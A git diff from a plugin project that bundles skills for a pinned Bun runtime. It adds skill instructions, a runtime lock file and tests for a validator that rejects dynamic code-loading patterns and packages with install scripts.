case "second": + case "secs": + case "sec": + case "s": + return n * s; + case "milliseconds": + case "millisecond": + case "msecs": + case "msec": + case "ms": + return n; + default: + return; + } + } + function fmtShort(ms) { + var msAbs = Math.abs(ms); + if (msAbs >= d) { + return Math.round(ms / d) + "d"; + } + if (msAbs >= h) { + return Math.round(ms / h) + "h"; + } + if (msAbs >= m) { + return Math.round(ms / m) + "m"; + } + if (msAbs >= s) { + return Math.round(ms / s) + "s"; + } + return ms + "ms"; + } + function fmtLong(ms) { + var msAbs = Math.abs(ms); + if (msAbs >= d) { + return plural(ms, msAbs, d, "day"); + } + if (msAbs >= h) { + return plural(ms, msAbs, h, "hour"); + } + if (msAbs >= m) { + return plural(ms, msAbs, m, "minute"); + } + if (msAbs >= s) { + return plural(ms, msAbs, s, "second"); + } + return ms + " ms"; + } + function plural(ms, msAbs, n, name) { + var isPlural = msAbs >= n * 1.5; + return Math.round(ms / n) + " " + name + (isPlural ? "s" : ""); + } +}); + +// packages/skill-b/src/main.cjs +var require_main = __commonJS((exports, module) => { + var kleur = require_kleur(); + var ms = require_ms(); + kleur.enabled = true; + function skillBProof() { + return { + skill: "skill-b", + moduleShape: "cjs", + cjsDependencyDuration: ms(7200000, { long: true }), + conditionalExportDependency: kleur.green("conditional-export-proof"), + sideEffects: "none" + }; + } + module.exports = { skillBProof }; + console.log(JSON.stringify(skillBProof())); +}); +export default require_main(); diff --git a/plugin/runtime/skill-catalog.sh b/plugin/runtime/skill-catalog.sh new file mode 100644 index 0000000..bdb8523 --- /dev/null +++ b/plugin/runtime/skill-catalog.sh @@ -0,0 +1,19 @@ +#!/bin/sh +# Generated from runtime/skill-catalog.json. Edit the source, then run bun run generate. +runtime_catalog_select_skill() { + case "$1" in + hello-world) + RUNTIME_SKILL_ENTRY='runtime/hello-world.js' + RUNTIME_SKILL_PROFILE='bun' + ;; + skill-a) + RUNTIME_SKILL_ENTRY='runtime/skill-a.js' + RUNTIME_SKILL_PROFILE='bun' + ;; + skill-b) + RUNTIME_SKILL_ENTRY='runtime/skill-b.js' + RUNTIME_SKILL_PROFILE='bun' + ;; + *) return 1 ;; + esac +} diff --git a/plugin/skills/hello-world/SKILL.md b/plugin/skills/hello-world/SKILL.md index 3494333..65790f3 100644 --- a/plugin/skills/hello-world/SKILL.md +++ b/plugin/skills/hello-world/SKILL.md @@ -7,4 +7,4 @@ description: "Run the bundled hello-world app to prove portable plugin distribut Resolve the installed plugin root two directories above this `SKILL.md`, then run its `bin/hello-world hello --json` launcher. -Report the JSON result. The launcher uses the matching QuickJS executable already carried by the plugin. It makes no network request and needs no global Bun, Node.js, Python, or npm package. +Report the JSON result. The launcher uses the shared verified Bun runtime managed by this plugin. If it returns a custody JSON envelope, follow the `runtime-custody` skill to preview repair, ask for approval, apply the repair, and retry. The user never needs to install Bun or run setup manually. diff --git a/plugin/skills/runtime-custody/SKILL.md b/plugin/skills/runtime-custody/SKILL.md new file mode 100644 index 0000000..0215d54 --- /dev/null +++ b/plugin/skills/runtime-custody/SKILL.md @@ -0,0 +1,22 @@ +--- +name: runtime-custody +description: "Repair or explain the plugin-managed Bun runtime after a custody JSON envelope such as BUN_MISSING or REPAIR_REQUIRED." +--- + +# Runtime Custody + +Use this when a plugin skill run returned a custody JSON envelope (`code` such as `BUN_MISSING` or `REPAIR_REQUIRED`) or the user asks about the plugin's Bun runtime. + +Resolve the installed plugin root two directories above this `SKILL.md`. The behavior owner is `runtime/runtime-exec`: its `help` output and JSON envelope define the command surface, codes, and exit classes; do not restate them. + +Workflow: + +1. Read the envelope's `code` and `nextAction`. +2. Run `runtime/runtime-exec repair` to preview. The preview is read-only and makes no network request. +3. Present the preview's plain-language action to the human and get explicit approval. This workflow owns the approval and its receipt; the engine does not authenticate anyone. +4. Only after approval, run `runtime/runtime-exec repair --apply` — the sole operation that acquires or replaces the runtime. +5. Rerun the original skill. +6. On `FOREIGN_LOCK_REQUIRES_APPROVAL`, present `nextAction` and confirm no other machine is repairing the cache. After explicit approval, run the exact recovery command from `nextAction`, then rerun the original skill. +7. On failures with `retrySafe: true` (for example offline or a held lock), retry later per `nextAction`. Keep cache recovery inside `runtime-exec`. + +Runtime identity is pinned by a reviewed lock; repair downloads only the locked official release and verifies the bytes before publication. diff --git a/plugin/skills/skill-a/SKILL.md b/plugin/skills/skill-a/SKILL.md new file mode 100644 index 0000000..23e850d --- /dev/null +++ b/plugin/skills/skill-a/SKILL.md @@ -0,0 +1,10 @@ +--- +name: skill-a +description: "Run the bundled skill-a proof to show an ESM skill using ESM and CJS dependencies offline." +--- + +# Skill A + +Resolve the installed plugin root two directories above this `SKILL.md`, then run its `bin/skill-a` launcher. + +Report the JSON result. If the launcher returns a custody JSON envelope, follow the `runtime-custody` skill to preview repair, ask for approval, apply the repair, and retry. The bundle carries its dependencies inside one file and needs no source workspace, package metadata, or `node_modules`. diff --git a/plugin/skills/skill-b/SKILL.md b/plugin/skills/skill-b/SKILL.md new file mode 100644 index 0000000..fd69735 --- /dev/null +++ b/plugin/skills/skill-b/SKILL.md @@ -0,0 +1,10 @@ +--- +name: skill-b +description: "Run the bundled skill-b proof to show a CJS skill using CJS and conditional-export dependencies offline." +--- + +# Skill B + +Resolve the installed plugin root two directories above this `SKILL.md`, then run its `bin/skill-b` launcher. + +Report the JSON result. If the launcher returns a custody JSON envelope, follow the `runtime-custody` skill to preview repair, ask for approval, apply the repair, and retry. The bundle carries its dependencies inside one file and needs no source workspace, package metadata, or `node_modules`. diff --git a/runtime/runtime.lock.json b/runtime/runtime.lock.json new file mode 100644 index 0000000..ceaa6a6 --- /dev/null +++ b/runtime/runtime.lock.json @@ -0,0 +1,46 @@ +{ + "schemaVersion": 1, + "profiles": { + "bun": { + "version": "1.3.14", + "assets": { + "darwin-arm64": { + "archiveName": "bun-darwin-aarch64.zip", + "url": "https://github.com/oven-sh/bun/releases/download/bun-v1.3.14/bun-darwin-aarch64.zip", + "archiveBytes": 23586433, + "archiveSha256": "d8b96221828ad6f97ac7ac0ab7e95872341af763001e8803e8267652c2652620", + "executablePath": "bun-darwin-aarch64/bun", + "executableBytes": 63096576, + "executableSha256": "e0c90ec15d33363e6b70713d56bc3b2c7585c17f40a0fe0f8fd9305901d4e233" + }, + "darwin-x64": { + "archiveName": "bun-darwin-x64-baseline.zip", + "url": "https://github.com/oven-sh/bun/releases/download/bun-v1.3.14/bun-darwin-x64-baseline.zip", + "archiveBytes": 26509145, + "archiveSha256": "3e35ad6f53971a9834bf9e6786e2adf72b5f1921cc9a9c5fde073d2972944076", + "executablePath": "bun-darwin-x64-baseline/bun", + "executableBytes": 69173328, + "executableSha256": "ea2f223e94bb2f4bf3050895113c3cf346438f6fa0501c8532284e063f72f7a0" + }, + "linux-arm64": { + "archiveName": "bun-linux-aarch64.zip", + "url": "https://github.com/oven-sh/bun/releases/download/bun-v1.3.14/bun-linux-aarch64.zip", + "archiveBytes": 35700603, + "archiveSha256": "a27ffb63a8310375836e0d6f668ae17fa8d8d18b88c37c821c65331973a19a3b", + "executablePath": "bun-linux-aarch64/bun", + "executableBytes": 91801560, + "executableSha256": "37141662ebed915a2ab89313156e455e2a1374395f5f6760d06407f49406f086" + }, + "linux-x64": { + "archiveName": "bun-linux-x64-baseline.zip", + "url": "https://github.com/oven-sh/bun/releases/download/bun-v1.3.14/bun-linux-x64-baseline.zip", + "archiveBytes": 35595658, + "archiveSha256": "a063908ae08b7852ca10939bbdc6ceed3ddabce8fb9402dce83d65d73b36e6c7", + "executablePath": "bun-linux-x64-baseline/bun", + "executableBytes": 91802480, + "executableSha256": "a8f9ebd1770ddc8e55dab7a68d4ec1ec1eebf374bb97cc65cf2c3cb373fc6791" + } + } + } + } +} diff --git a/runtime/skill-catalog.json b/runtime/skill-catalog.json new file mode 100644 index 0000000..ddabb0c --- /dev/null +++ b/runtime/skill-catalog.json @@ -0,0 +1,19 @@ +{ + "schemaVersion": 1, + "skills": { + "hello-world": { + "entry": "runtime/hello-world.js", + "runtimeProfile": "bun" + }, + "skill-a": { + "entry": "runtime/skill-a.js", + "runtimeProfile": "bun", + "workspace": "packages/skill-a" + }, + "skill-b": { + "entry": "runtime/skill-b.js", + "runtimeProfile": "bun", + "workspace": "packages/skill-b" + } + } +} diff --git a/runtime/src/bun-proof-adapter.ts b/runtime/src/bun-proof-adapter.ts index b938878..6755840 100644 --- a/runtime/src/bun-proof-adapter.ts +++ b/runtime/src/bun-proof-adapter.ts @@ -1,13 +1,7 @@ -import config from "../../plugin.config.json" +import { executeCommand } from "./portable-command" -Object.assign(globalThis, { PLUGIN_VERSION: config.version }) - -const { executeCommand } = await import("./portable-command") - -const standardInput = await Bun.stdin.text() const result = executeCommand( process.argv.slice(2), - standardInput, process.env.HELLO_WORLD_RUN_ID ?? crypto.randomUUID(), ) diff --git a/runtime/src/portable-command.test.ts b/runtime/src/portable-command.test.ts index 18601e6..306fa60 100644 --- a/runtime/src/portable-command.test.ts +++ b/runtime/src/portable-command.test.ts @@ -1,80 +1,28 @@ import { expect, test } from "bun:test" -import config from "../../plugin.config.json" - -Object.assign(globalThis, { PLUGIN_VERSION: config.version }) - const { executeCommand } = await import("./portable-command") -test("hook help requires plugin version for Codex only", () => { - const result = executeCommand(["--help"], "", "help") +test("help exposes only the portable command surface", () => { + const result = executeCommand(["--help"], "help") expect(result.exitCode).toBe(0) - expect(result.stdout).toContain( - "hello-world hook --harness codex --event --plugin-version ", - ) - expect(result.stdout).toContain("hello-world hook --harness claude --event ") - expect(result.stdout).toContain("Required for Codex hooks only.") -}) - -test("Codex hooks bind the generated command to the runtime plugin version", () => { - const missing = executeCommand( - ["hook", "--harness", "codex", "--event", "SessionStart"], - "{}", - "missing-version", - ) - const mismatch = executeCommand( - [ - "hook", - "--harness", - "codex", - "--event", - "SessionStart", - "--plugin-version", - "9.9.9", - ], - "{}", - "wrong-version", - ) - const matching = executeCommand( - [ - "hook", - "--harness", - "codex", - "--event", - "SessionStart", - "--plugin-version", - config.version, - ], - "{}", - "matching-version", - ) - - expect(missing).toMatchObject({ exitCode: 2 }) - expect(missing.stderr).toContain("--plugin-version is required for codex hooks") - expect(mismatch).toMatchObject({ exitCode: 2 }) - expect(mismatch.stderr).toContain(`--plugin-version must be ${config.version}`) - expect(matching).toMatchObject({ exitCode: 0 }) + expect(result.stdout).toContain("hello-world hello [--name ] [--json]") + expect(result.stdout).not.toContain("hook") }) -test("Claude hooks remain versionless because Claude supplies no manifest version argument", () => { - const result = executeCommand( - ["hook", "--harness", "claude", "--event", "SessionStart"], - "{}", - "claude-hook", - ) - - expect(result).toMatchObject({ exitCode: 0 }) +test("runtime lifecycle hook commands are not active", () => { + const result = executeCommand(["hook"], "no-hooks") + expect(result).toMatchObject({ exitCode: 2 }) + expect(result.stderr).toContain("unknown command: hook") }) -test("hello JSON identifies the installed plugin version", () => { - const result = executeCommand(["hello", "--json"], "", "version-proof") +test("hello JSON reports the portable result without a release-version literal", () => { + const result = executeCommand(["hello", "--json"], "version-proof") expect(result.exitCode).toBe(0) expect(JSON.parse(result.stdout)).toMatchObject({ ok: true, command: "hello", - pluginVersion: config.version, runId: "version-proof", }) }) diff --git a/runtime/src/portable-command.ts b/runtime/src/portable-command.ts index 937218c..fb64ea9 100644 --- a/runtime/src/portable-command.ts +++ b/runtime/src/portable-command.ts @@ -5,8 +5,6 @@ export interface CommandResult { stderr: string } -declare const PLUGIN_VERSION: string - function success(stdout = "", stderr = ""): CommandResult { return { exitCode: 0, stdout, stderr } } @@ -26,20 +24,12 @@ function optionValue(arguments_: string[], option: string): string | undefined { } function help(): string { - return `hello-world ${PLUGIN_VERSION} - -Usage: + return `Usage: hello-world hello [--name ] [--json] - hello-world hook --harness claude --event - hello-world hook --harness codex --event --plugin-version hello-world --help Commands: hello Print a greeting. No files, network calls, or durable state. - hook Accept a harness hook payload on stdin and exit successfully. - -Hook options: - --plugin-version Required for Codex hooks only. ` } @@ -47,18 +37,16 @@ Hook options: * Execute the portable command contract without depending on a host runtime. * * @param arguments_ - Command arguments after the executable name - * @param standardInput - Complete hook payload supplied by the adapter * @param runId - Adapter-owned invocation identity * @returns Complete process output and exit status for the adapter to emit * * @example * ```ts - * executeCommand(["hello", "--json"], "", "proof-run") + * executeCommand(["hello", "--json"], "proof-run") * ``` */ export function executeCommand( arguments_: string[], - standardInput: string, runId: string, ): CommandResult { const [command, ...commandArguments] = arguments_ @@ -66,8 +54,6 @@ export function executeCommand( if (command === undefined || command === "--help" || command === "-h") { return success(help()) } - if (command === "--version" || command === "-v") return success(`${PLUGIN_VERSION}\n`) - if (command === "hello") { const name = optionValue(commandArguments, "--name") ?? "world" if (commandArguments.includes("--json")) { @@ -75,7 +61,6 @@ export function executeCommand( `${JSON.stringify({ ok: true, command: "hello", - pluginVersion: PLUGIN_VERSION, message: `Hello, ${name}!`, sideEffects: "none", runId, @@ -85,29 +70,5 @@ export function executeCommand( return success(`Hello, ${name}!\n`) } - if (command === "hook") { - const harness = optionValue(commandArguments, "--harness") - const event = optionValue(commandArguments, "--event") - const pluginVersion = optionValue(commandArguments, "--plugin-version") - if (harness !== "codex" && harness !== "claude") { - return failure("--harness must be codex or claude") - } - if (!event) return failure("--event is required") - if (harness === "codex" && !pluginVersion) { - return failure("--plugin-version is required for codex hooks") - } - if (pluginVersion && pluginVersion !== PLUGIN_VERSION) { - return failure(`--plugin-version must be ${PLUGIN_VERSION}`) - } - if (standardInput.trim()) { - try { - JSON.parse(standardInput) - } catch { - return failure("hook stdin must be JSON") - } - } - return success("", `hello-world hook: ${harness} ${event}\n`) - } - return failure(`unknown command: ${command}`) } diff --git a/runtime/src/quickjs-adapter.ts b/runtime/src/quickjs-adapter.ts deleted file mode 100644 index a0e2f46..0000000 --- a/runtime/src/quickjs-adapter.ts +++ /dev/null @@ -1,13 +0,0 @@ -import * as std from "qjs:std" - -import { executeCommand } from "./portable-command" - -declare const scriptArgs: string[] - -const standardInput = std.in.readAsString() -const runId = std.getenv("HELLO_WORLD_RUN_ID") ?? `quickjs-${Date.now()}` -const result = executeCommand(scriptArgs.slice(1), standardInput, runId) - -if (result.stdout) std.out.puts(result.stdout) -if (result.stderr) std.err.puts(result.stderr) -std.exit(result.exitCode) diff --git a/scripts/build.test.ts b/scripts/build.test.ts new file mode 100644 index 0000000..20e49ed --- /dev/null +++ b/scripts/build.test.ts @@ -0,0 +1,1786 @@ +import { + cpSync, + existsSync, + mkdirSync, + mkdtempSync, + readFileSync, + realpathSync, + rmSync, + symlinkSync, + writeFileSync, +} from "node:fs" +import { tmpdir } from "node:os" +import { dirname, join } from "node:path" + +import { afterEach, beforeAll, expect, test } from "bun:test" + +import { + admitDependencyClosure, + assertSuccessfulInstall, + BundleValidationError, + buildHelloWorldRuntime, + buildWorkspaceBundles, + bundleWorkspaceSkill, + collectModuleSpecifiers, + DependencyAdmissionError, + renderBundleInventoryProjection, + renderThirdPartyNotices, + validateBunOnlyPayload, + validateBundleClosure, + validateBundleText, +} from "./build" +import { copyPluginPayload } from "./plugin-files" + +const root = new URL("..", import.meta.url).pathname.replace(/\/$/, "") +const temporaryRoots: string[] = [] + +beforeAll(() => { + const install = Bun.spawnSync({ + cmd: [process.execPath, "install", "--frozen-lockfile"], + cwd: root, + stdout: "pipe", + stderr: "pipe", + }) + if (install.exitCode !== 0) throw new Error(install.stderr.toString()) +}) + +afterEach(() => { + for (const temporaryRoot of temporaryRoots.splice(0)) { + rmSync(temporaryRoot, { recursive: true, force: true }) + } +}) + +function temporaryDirectory(prefix: string): string { + const directory = realpathSync(mkdtempSync(join(tmpdir(), prefix))) + temporaryRoots.push(directory) + return directory +} + +function fixtureWorkspace( + source: string, + packageJson?: Record, +): { + fixtureRoot: string + workspace: string + staging: string +} { + const fixtureRoot = temporaryDirectory("bundle-fixture-") + const workspaceDirectory = join(fixtureRoot, "packages", "fixture-skill") + mkdirSync(join(workspaceDirectory, "src"), { recursive: true }) + writeFileSync( + join(workspaceDirectory, "package.json"), + `${JSON.stringify( + packageJson ?? { + name: "fixture-skill", + private: true, + type: "module", + main: "src/main.js", + }, + null, + 2, + )}\n`, + ) + writeFileSync(join(workspaceDirectory, "src", "main.js"), source) + return { + fixtureRoot, + workspace: "packages/fixture-skill", + staging: join(fixtureRoot, "staging"), + } +} + +async function expectBundleRejection( + fixture: ReturnType, + code: string, + pattern: RegExp, +): Promise { + await expect( + bundleWorkspaceSkill(fixture.fixtureRoot, "fixture-skill", fixture.workspace, fixture.staging), + ).rejects.toThrow(pattern) + try { + await bundleWorkspaceSkill( + fixture.fixtureRoot, + "fixture-skill", + fixture.workspace, + fixture.staging, + ) + expect.unreachable("bundleWorkspaceSkill must reject") + } catch (error) { + expect(error).toBeInstanceOf(BundleValidationError) + expect((error as BundleValidationError).code).toBe(code as BundleValidationError["code"]) + } +} + +test("collectModuleSpecifiers finds static, side-effect, dynamic, and require specifiers", () => { + const code = `import a from "node:path";import "bun:test";const b = require('ms');const c = await import("camelcase");export { d } from "./local.js";` + expect(collectModuleSpecifiers(code)).toEqual([ + "./local.js", + "bun:test", + "camelcase", + "ms", + "node:path", + ]) +}) + +test("validateBundleText allows node and bun built-ins only", () => { + validateBundleText( + "skill-a", + `import { join } from "node:path";import fs from "fs";import "bun:sqlite";const os = __require("node:os");`, + ) + expect(() => validateBundleText("skill-a", `const x = require("left-pad");`)).toThrow( + /bare specifier "left-pad"/, + ) + for (const specifier of ["node:definitely-not-real", "bun:definitely-not-real"]) { + expect(() => validateBundleText("skill-a", `import value from "${specifier}";`)).toThrow( + new RegExp(`bare specifier "${specifier}"`), + ) + } +}) + +test("validateBundleText rejects a computed dynamic import", () => { + expect(() => validateBundleText("skill-a", `const target = "x";await import(target);`)).toThrow( + /computed dynamic import/, + ) +}) + +test("validateBundleText keeps division after postfix operators executable", () => { + for (const operator of ["++", "--"]) { + expect(() => + validateBundleText("skill-a", `let x = 1;const value = x${operator} / import(target) / y;`), + ).toThrow(/computed dynamic import/) + } +}) + +test("validateBundleText keeps division after a contextual of identifier executable", () => { + expect(() => + validateBundleText( + "skill-a", + `function ratio(of, target, y) { return of / import(target) / y; }`, + ), + ).toThrow(/computed dynamic import/) +}) + +test("validateBundleText masks regex literals after control-flow conditions", () => { + validateBundleText("skill-a", `if (ok) /require|Function|eval/.test(value);`) + validateBundleText("skill-a", `if (ok) {} /require|Function|eval/.test(value);`) + expect(() => + validateBundleText("skill-a", `const value = {} / import(target) / y;`), + ).toThrow(/computed dynamic import/) +}) + +test("validateBundleText keeps division after expression parentheses executable", () => { + expect(() => + validateBundleText("skill-a", `const ratio = (value) / import(target) / y;`), + ).toThrow(/computed dynamic import/) +}) + +test("validateBundleText does not treat control-keyword member names as conditions", () => { + for (const memberCall of ["obj.if(ok)", "obj /*a*/ . /*b*/ if(ok)", "this.#if(ok)"]) { + expect(() => + validateBundleText("skill-a", `const ratio = ${memberCall} / import(target) / y;`), + ).toThrow(/computed dynamic import/) + } +}) + +test("validateBundleText does not treat regex-prefix member names as keywords", () => { + expect(() => + validateBundleText("skill-a", `const ratio = obj.return / import(target) / y;`), + ).toThrow(/computed dynamic import/) +}) + +test("validateBundleText masks regex literals after declaration blocks", () => { + validateBundleText("skill-a", `export function f() { return 1 } /require/.test(value)`) + validateBundleText("skill-a", `export class C {} /require/.test(value)`) + expect(() => + validateBundleText("skill-a", `const f = function () {}; const ratio = f / import(target) / y;`), + ).toThrow(/computed dynamic import/) +}) + +test("validateBundleText masks regex literals after other statement blocks", () => { + validateBundleText( + "skill-a", + `try { work() } catch (error) {} finally {} /require/.test(value)`, + ) + validateBundleText("skill-a", `try { work() } catch {} /require/.test(value)`) + validateBundleText("skill-a", `if (ok) {} else {} /require/.test(value)`) + validateBundleText("skill-a", `do {} while (ok) /require/.test(value)`) + validateBundleText("skill-a", `{ work() } /require/.test(value)`) + expect(() => + validateBundleText("skill-a", `const value = {} / import(target) / y;`), + ).toThrow(/computed dynamic import/) +}) + +test("validateBundleText distinguishes labeled blocks from object properties", () => { + validateBundleText("skill-a", `label: {} /require/.test(value)`) + expect(() => + validateBundleText( + "skill-a", + `const value = { nested: {} / import(target) / y };`, + ), + ).toThrow(/computed dynamic import/) +}) + +test("validateBundleText keeps division after direct-statement keyword property values executable", () => { + for (const property of ["try", "catch", "do", "else", "finally"]) { + expect(() => + validateBundleText("skill-a", `const value = { ${property}: {} / __require(target) / 1 };`), + ).toThrow(/computed runtime require/) + } +}) + +test("validateBundleText rejects a computed runtime require", () => { + expect(() => validateBundleText("skill-a", `const name = "m" + "s";require(name);`)).toThrow( + /computed runtime require/, + ) +}) + +test("validateBundleText ignores loader words outside executable call sites", () => { + validateBundleText( + "skill-a", + `const text = "require eval Function"; + // require(commentedTarget) + const pattern = /require\\(eval|Function/; + const object = { require: true, eval: true, Function: true }; + console.log(object.value, text, pattern);`, + ) +}) + +test("validateBundleText inspects loader calls inside template expressions", () => { + expect(() => + validateBundleText("skill-a", "const text = `value: ${require(target)}`;"), + ).toThrow(/computed runtime require/) +}) + +test("validateBundleText rejects indirect runtime require calls", () => { + for (const code of [ + `__require.call(null, target);`, + `require.apply(null, args);`, + `require["bind"](null)(target);`, + `const load = __require;load(target);`, + ]) { + expect(() => validateBundleText("skill-a", code)).toThrow(/computed runtime require/) + } +}) + +test("validateBundleText rejects built-in loader escape hatches", () => { + expect(() => + validateBundleText( + "skill-a", + `import { createRequire as load } from "node:module";load(import.meta.url)("ambient-package");`, + ), + ).toThrow(/runtime module-loader escape/) + expect(() => + validateBundleText( + "skill-a", + `process.getBuiltinModule("module").createRequire(import.meta.url);`, + ), + ).toThrow(/runtime module-loader escape/) + expect(() => + validateBundleText( + "skill-a", + `const { require: load } = import.meta;load(process.env.TARGET_MODULE);`, + ), + ).toThrow(/destructured runtime module-loader escape/) + for (const code of [ + `const { ["require"]: load } = import.meta;load(process.env.TARGET_MODULE);`, + `const { url, ["require"]: load } = import.meta;load(process.env.TARGET_MODULE);`, + `const keys = ["require"];const { [keys[0]]: load } = import.meta;load(process.env.TARGET_MODULE);`, + `const { ["requ\\u0069re"]: load } = globalThis;load(process.env.TARGET_MODULE);`, + `const { ["__require"]: load } = import.meta;load(process.env.TARGET_MODULE);`, + `const { ["__require"]: load } = globalThis;load(process.env.TARGET_MODULE);`, + ]) { + expect(() => validateBundleText("skill-a", code)).toThrow( + /computed-key destructured ambient runtime escape/, + ) + } + for (const specifier of ["module", "node:module"]) { + expect(() => + validateBundleText( + "skill-a", + `import * as moduleNamespace from "${specifier}";const key = process.env.KEY;moduleNamespace[key](import.meta.url);`, + ), + ).toThrow(/runtime escape built-in/) + } +}) + +test("validateBundleText allows ordinary methods named require", () => { + validateBundleText( + "skill-a", + `const registry = { require(name) { return this[name] } }; class Catalog { require(callback = () => "ok") { return callback() } }; registry.require("x"); new Catalog().require()`, + ) +}) + +test("validateBundleText rejects runtime code generation", () => { + for (const code of [ + `const load = new Function("target", "return im" + "port(target)");`, + `const load = Function("return 1");`, + `const load = Function.call(null, "target", "return im" + "port(target)");`, + `const load = Function.apply(null, ["target", "return im" + "port(target)"]);`, + `const load = Function.bind(null, "target")("return im" + "port(target)");`, + `const Factory = Function;const load = Factory("return 1");`, + `const load = (0, Function)("return 1");`, + `const load = eval("target => im" + "port(target)");`, + ]) { + expect(() => validateBundleText("skill-a", code)).toThrow(/runtime code generation/) + } +}) + +test("validateBundleText rejects direct and aliased constructor-based runtime code generation", () => { + for (const code of [ + `(() => {}).constructor("p", "return import(p)")`, + `const C = (() => {}).constructor;const load = C("p", "return import(p)");load(target)`, + ]) { + expect(() => validateBundleText("skill-a", code)).toThrow(/runtime code generation/) + } +}) + +test("validateBundleText allows non-invoked Function references", () => { + validateBundleText( + "skill-a", + `const call = Function.prototype.call;const isFunction = value instanceof Function;console.log(call, isFunction);`, + ) +}) + +test("validateBundleText rejects node:vm runtime code generation", () => { + expect(() => + validateBundleText( + "skill-a", + `import vm from "node:vm";vm.runInThisContext("p => import(p)")`, + ), + ).toThrow(/runtime escape built-in/) +}) + +test("validateBundleText rejects a concatenated require that begins with a string literal", () => { + expect(() => + validateBundleText("skill-a", `const locale = require("./locale/" + name);`), + ).toThrow(/computed runtime require/) +}) + +test("validateBundleText rejects a member-access runtime require", () => { + for (const code of [ + `const m = globalThis.require(name);`, + `const fs = globalThis.require("node:fs");`, + `const fs = import.meta.require("node:fs");`, + `const fs = globalThis["require"]("node:fs");`, + `const fs = import.meta["require"]("node:fs");`, + `const key = "require";const fs = globalThis[key]("node:fs");`, + `const key = ["require"];const fs = globalThis[key[0]]("node:fs");`, + `const key = "require";const fs = import.meta[key]?.("node:fs");`, + `const key = "require";const fs = globalThis?.[key]?.("node:fs");`, + `const key = process.env.KEY;const load = import.meta[key];load(process.env.TARGET);`, + `const key = process.env.KEY;const load = globalThis[key];load(process.env.TARGET);`, + `const meta = import.meta;const key = process.env.KEY;meta[key](process.env.TARGET);`, + `const root = globalThis;const key = process.env.KEY;root[key](process.env.TARGET);`, + ]) { + expect(() => validateBundleText("skill-a", code)).toThrow(/ambient runtime/) + } +}) + +test("validateBundleText allows ordinary ambient dot references", () => { + validateBundleText("skill-a", `globalThis.console.log(import.meta.url);`) +}) + +test("validateBundleText rejects a concatenated dynamic import that begins with a string literal", () => { + expect(() => + validateBundleText("skill-a", `export const load = (name) => import("./chunk/" + name);`), + ).toThrow(/computed dynamic import/) +}) + +test("dependency admission returns the pure-JavaScript permissive-license closure", () => { + const dependencies = admitDependencyClosure(root) + expect(dependencies.map((dependency) => `${dependency.name}@${dependency.version}`)).toEqual([ + "camelcase@8.0.0", + "kleur@4.1.5", + "ms@2.1.3", + ]) + for (const dependency of dependencies) { + expect(["MIT", "ISC"]).toContain(dependency.license) + expect(dependency.licenseText).toContain("Permission") + } +}) + +function admissionFixture(options: { + packageJson: Record + files?: Record + extraLockedPackages?: Record + workspaceDevDependencies?: Record + omitStore?: boolean +}): string { + const fixtureRoot = temporaryDirectory("admission-fixture-") + writeFileSync( + join(fixtureRoot, "package.json"), + `${JSON.stringify({ name: "fixture-root", private: true, workspaces: ["packages/*"] }, null, 2)}\n`, + ) + const name = options.packageJson.name as string + const version = options.packageJson.version as string + const workspaceDirectory = join(fixtureRoot, "packages", "fixture-skill") + mkdirSync(join(fixtureRoot, "runtime"), { recursive: true }) + mkdirSync(workspaceDirectory, { recursive: true }) + cpSync( + join(root, "runtime", "runtime.lock.json"), + join(fixtureRoot, "runtime", "runtime.lock.json"), + ) + writeFileSync( + join(fixtureRoot, "runtime", "skill-catalog.json"), + `${JSON.stringify({ + schemaVersion: 1, + skills: { + "fixture-skill": { + entry: "runtime/fixture-skill.js", + runtimeProfile: "bun", + workspace: "packages/fixture-skill", + }, + }, + })}\n`, + ) + writeFileSync( + join(workspaceDirectory, "package.json"), + `${JSON.stringify({ + name: "fixture-skill", + private: true, + dependencies: { [name]: version }, + devDependencies: options.workspaceDevDependencies, + })}\n`, + ) + writeFileSync( + join(fixtureRoot, "bun.lock"), + `${JSON.stringify({ + lockfileVersion: 1, + workspaces: { + "": { name: "fixture-root" }, + "packages/fixture-skill": { + name: "fixture-skill", + dependencies: { [name]: version }, + devDependencies: options.workspaceDevDependencies, + }, + }, + packages: { + [name]: [`${name}@${version}`, "", {}, "sha512-fixture"], + "fixture-skill": ["fixture-skill@workspace:packages/fixture-skill"], + ...options.extraLockedPackages, + }, + })}\n`, + ) + if (options.omitStore) return fixtureRoot + writeFixturePackageStore(fixtureRoot, options.packageJson, options.files) + return fixtureRoot +} + +function writeFixturePackageStore( + fixtureRoot: string, + packageJson: Record, + files: Record = {}, +): void { + const name = packageJson.name as string + const version = packageJson.version as string + const packageDirectory = join( + fixtureRoot, + "node_modules", + ".bun", + `${name}@${version}`, + "node_modules", + name, + ) + mkdirSync(packageDirectory, { recursive: true }) + writeFileSync(join(packageDirectory, "package.json"), `${JSON.stringify(packageJson, null, 2)}\n`) + writeFileSync(join(packageDirectory, "LICENSE"), "Permission is hereby granted.\n") + for (const [relativePath, contents] of Object.entries(files)) { + writeFileSync(join(packageDirectory, relativePath), contents) + } +} + +test("dependency admission parses JSONC comments, trailing commas, and quoted comma sequences", () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "jsonc-package", version: "1.0.0", license: "MIT" }, + }) + writeFileSync( + join(fixtureRoot, "bun.lock"), + `{ + // Bun lockfiles are JSONC. + "lockfileVersion": 1, + "note": "quoted,} and quoted,] stay intact", + "workspaces": { + "": { "name": "fixture-root", }, + "packages/fixture-skill": { + "name": "fixture-skill", + "dependencies": { "jsonc-package": "1.0.0", }, + }, + }, + "packages": { + "jsonc-package": ["jsonc-package@1.0.0", "", {}, "sha512-fixture"], + "fixture-skill": ["fixture-skill@workspace:packages/fixture-skill"], + }, + }\n`, + ) + expect(admitDependencyClosure(fixtureRoot).map((dependency) => dependency.name)).toEqual([ + "jsonc-package", + ]) +}) + +test("dependency admission reports malformed JSONC as a typed error", () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "broken-lock", version: "1.0.0", license: "MIT" }, + }) + writeFileSync(join(fixtureRoot, "bun.lock"), '{ "packages": { "broken": [ } }\n') + try { + admitDependencyClosure(fixtureRoot) + expect.unreachable("admitDependencyClosure must reject") + } catch (error) { + expect(error).toBeInstanceOf(DependencyAdmissionError) + expect((error as DependencyAdmissionError).code).toBe("lock-invalid") + } +}) + +test("dependency admission rejects a lifecycle-dependent package", () => { + const fixtureRoot = admissionFixture({ + packageJson: { + name: "needs-install", + version: "1.0.0", + license: "MIT", + scripts: { postinstall: "node build.js" }, + }, + }) + expect(() => admitDependencyClosure(fixtureRoot)).toThrow(/lifecycle script "postinstall"/) + try { + admitDependencyClosure(fixtureRoot) + } catch (error) { + 